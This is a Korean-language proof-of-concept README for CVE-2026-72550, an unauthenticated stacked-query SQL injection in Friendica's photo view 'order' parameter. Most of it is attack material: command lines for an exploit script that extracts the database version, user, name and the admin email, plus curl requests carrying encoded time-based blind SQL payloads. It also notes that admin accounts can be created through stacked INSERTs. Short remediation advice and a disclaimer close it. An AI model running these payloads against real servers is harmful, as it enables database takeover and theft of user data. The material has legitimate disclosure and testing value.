
CVE-2026-72550 — Friendica 인증되지 않은 스택 쿼리 SQL 인젝션 PoC (CVSS 9.8 치명적)
| 필드 | 값 |
|---|
| CVE ID | CVE-2026-72550 |
| 제품 | Friendica (자체 호스팅 연합 소셜 네트워크) |
| 영향 범위 | <= 2026.08-dev (git HEAD e3fc1bc) |
| 유형 | CWE-89: SQL 인젝션 (인증되지 않음, 스택 쿼리) |
| 심각도 | 치명적 — CVSS 3.1: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| 인증 필요 | 없음 |
Friendica의 사진 보기 엔드포인트는 order 쿼리 매개변수를 받아 이스케이프 없이 SHOW COLUMNS ... LIKE '...' 문에 연결하며, 이는 다중 문 실행을 허용하는 PDO::query()를 통해 실행됩니다. 로그인이 필요 없으며, 기본 설치(block_public이 기본적으로 꺼짐)에서는 공개적으로 보이는 사진 하나면 충분합니다. PDO::query()가 스택 문을 실행하므로 익명 공격자는 데이터를 읽는 것에 그치지 않고 INSERT/UPDATE를 포함한 임의의 SQL을 실행하여 관리자 사용자를 만들 수 있습니다.
mod/photos.php:673 — reads raw $_GET['order']
DBStructure::existsColumn() — concatenates into: SHOW COLUMNS FROM `photo` LIKE '$column'
src/Database/DBStructure.php:714
DBA::p() → PDO::query() — executes with stacked statements enabled
기본 요청 경로는 이 코드에 도달합니다. $cmd는 기본적으로 'view'이며($cmd === 'view' 조건 충족), no_count는 꺼져 있으므로 인증이나 비기본 설정이 필요 없습니다.
# Install dependency
pip install requests
# Check if target is vulnerable (time-based detection)
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --check-only
# Extract database version via blind SQLi
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract version
# Extract current database user
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract db_user
# Extract current database name
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract db_name
# Extract first admin email
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract admin_email
| 플래그 | 설명 |
|---|---|
-u / --url | 대상 기본 URL (예: http://target:8176) |
-r / --user | 공격 대상 사진 갤러리의 사용자 이름 |
-i / --resource-id | 공개적으로 표시되는 사진의 리소스 ID |
--extract | 유출할 값: version, db_user, db_name, admin_email |
--check-only | 취약점만 테스트하고 데이터는 추출하지 않음 |
--sleep | SLEEP 지연 시간(초) (기본값: 5) |
쿠키나 인증이 필요 없습니다. 공개된 사진의 resource-id를 지정하세요:
# Control — valid order, returns fast (~0.05s)
curl -s -o /dev/null -w "%{time_total}\n" \
"http://TARGET/photos/alice/image/RESOURCE_ID?order=created"
# Injection — stacked SLEEP(5) executes, response held ~5s
curl -s -o /dev/null -w "%{time_total}\n" \
"http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20SLEEP(5)--%20-"
디코딩된 페이로드: x';SELECT SLEEP(5)-- -
주입된 SQL은 다음과 같습니다:
SHOW COLUMNS FROM `photo` LIKE 'x';SELECT SLEEP(5)-- -'
# TRUE condition (@@version starts with '1') → delays ~5s
curl -s -o /dev/null -w "%{time_total}\n" \
"http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20IF(SUBSTRING(@@version,1,1)=%271%27,SLEEP(5),0)--%20-"
# FALSE condition (@@version starts with '9') → returns fast
curl -s -o /dev/null -w "%{time_total}\n" \
"http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20IF(SUBSTRING(@@version,1,1)=%279%27,SLEEP(5),0)--%20-"
인증되지 않은 공격자는 다음을 수행할 수 있습니다:
INSERT INTO user를 통한 관리자 계정 생성 포함)기본 Friendica 설치에서 익명 방문자 누구나 도달할 수 있는 완전한 데이터베이스 침해입니다.
order를 알려진 컬럼 화이트리스트와 대조하여 검증SHOW COLUMNS에서 문자열 연결 대신 매개변수화된 쿼리 사용PDO::ATTR_EMULATE_PREPARES => false)| 날짜 | 이벤트 |
|---|---|
| 2026-07-07 | 로컬 인스턴스에서 취약점 발견 및 확인 |
| 2026-08-11 | TuranSec CNA를 통해 CVE-2026-72550 게시 |
이 도구는 공인된 보안 테스트 및 교육 목적으로만 제공됩니다. 소유하거나 명시적인 서면 테스트 허가를 받은 시스템에만 사용하십시오. 저자는 오용에 대한 책임을 지지 않습니다.
발견자: Bobur Abdugafforov (@abdugafforov-bobur)
CVE는 TuranSec CNA를 통해 배정됨